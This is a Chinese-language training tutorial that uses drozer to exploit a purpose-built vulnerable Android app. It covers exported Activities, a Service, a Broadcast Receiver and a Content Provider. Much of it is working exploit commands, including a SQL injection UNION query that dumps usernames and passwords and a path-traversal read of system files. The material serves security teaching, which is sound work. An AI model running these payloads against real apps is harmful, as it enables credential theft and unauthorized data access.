Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。
具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。
在电脑端通过adb实现端口转发,并成功启动drozer
adb forward tcp:31415 tcp:31415
drozer console connect
通过app.package.list的filter参数过滤alan关键词的包名称
run app.package.list --filter alan
查询该app的包信息
run app.package.info -a com.asec.alan
利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。
run app.package.attacksurface com.asec.alan
完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。
一、Activity
Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。
需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。
通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制
run app.activity.info -a com.asec.alan
对于这些activity的执行逻辑属于
LoginActivity登录->MainActivity->InfoQueryActivity
LoginActivity登录->MainActivity->FileQueryActivity
以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储
当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。
通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转
该acitivity直接加载,未进行登录态的校验
通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。
MainActivity加载:
基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true
MainActivity的加载可直接通过drozer命令加载
run app.activity.start --component com.asec.alan com.asec.alan.MainActivity
执行后成功记载MainActivity
删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败
InfoQueryActivity加载:
InfoQueryActivity则通过app.activity.start命令直接加载即可。
run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity
3)修复建议
Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。
新建一个用于漏洞测试的service,并写入一些漏洞的逻辑
service组件运行导出
通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。
run app.service.info -a com.asec.alan
在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。
当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录
通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer
run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"
利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容
adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt
敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。
当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志
利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务
run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService
通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。
adb logcat VulnerableService:D *:S
Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。
Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。
该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。
利用drozer伪造恶意广播并触发该接收器
run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"
通过界面可以查看到对应的广播信息
Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。
Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。
通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。
利用drozer命令可以查看该APP的provider的信息
run app.provider.info -a com.asec.alan
利用app.provider.finduri可以查看所有的uri
run app.provider.finduri com.asec.alan
通过drozer查询content://com.asec.alan.provider/该uri的数据
run app.provider.query content://com.asec.alan.provider/
Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。
通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。
利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入
run scanner.provider.injection -a com.asec.alan
基于sql注入漏洞的测试和利用,通过order by进行显示位的判断
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"
并进行username和password数据的查询。
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"
Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。
代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。
利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri
run scanner.provider.traversal -a com.asec.alan
并成功查询/system/etc/hosts文件内容
run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts
本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。
APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk
提取码: 4ggk
本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动